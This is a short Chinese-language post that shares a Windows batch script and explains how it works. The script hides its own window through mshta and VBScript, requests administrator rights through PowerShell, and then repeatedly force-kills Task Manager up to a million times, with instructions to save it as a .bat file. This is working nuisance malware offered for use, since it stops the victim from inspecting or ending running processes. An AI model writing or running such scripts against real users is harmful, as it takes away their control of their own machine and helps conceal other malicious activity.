效果展示
上代码,球球给我点个关注吧
该程序的操作实际是开启后挂在后台循环100万次 kill掉taskmgr.exe的命令的bat脚本
@echo off
if "%1"=="hide" goto CmdBegin
start mshta vbscript:createobject("wscript.shell").run("""%~0"" hide",0)(window.close)&&exit
:CmdBegin
:: 检查是否以管理员权限运行
net session >nul 2>&1
if %errorlevel% neq 0 (
echo 请求管理员权限...
PowerShell -Command "Start-Process '%~dpnx0' -Verb RunAs"
exit /b
)
:: 以下是你的实际批处理命令
:loop
taskkill /F /IM Taskmgr.exe
set /a num+=1
if %num% lss 1000000 goto :loop
:: 在这里添加你的实际命令
pause
用法:复制到记事本然后重命名后缀.txt为.bat
代码解析
这段批处理代码的功能和原理如下:
功能:
- 当直接运行该批处理文件时,它会以隐藏窗口的方式重新启动自身,并检查是否具有管理员权限。如果没有管理员权限,会请求获取管理员权限。
- 然后进入一个循环,不断尝试强制结束
Taskmgr.exe
进程(即任务管理器),循环执行的次数上限为 1000000 次。
原理:
@echo off
:关闭命令回显,即执行命令时不在控制台显示命令本身。if "%1"=="hide" goto CmdBegin
:判断第一个参数是否为hide
,如果是则跳转到CmdBegin
标签处。start mshta vbscript:createobject("wscript.shell").run("""%~0"" hide",0)(window.close)&&exit
:使用mshta
和VBScript
来以隐藏窗口的方式重新启动当前批处理文件,并传递参数hide
,然后退出当前执行。net session >nul 2>&1
:尝试建立网络会话来检查当前权限。if %errorlevel% neq 0
:通过检查net session
命令的返回码(errorlevel
)来判断是否具有管理员权限,如果不等于 0 则表示没有管理员权限,然后使用 PowerShell 来以管理员身份重新启动该批处理文件。:loop
到goto :loop
:构成一个循环,在循环中使用taskkill /F /IM Taskmgr.exe
强制结束任务管理器进程,并使用set /a num+=1
来计数,当计数小于 1000000 时继续循环。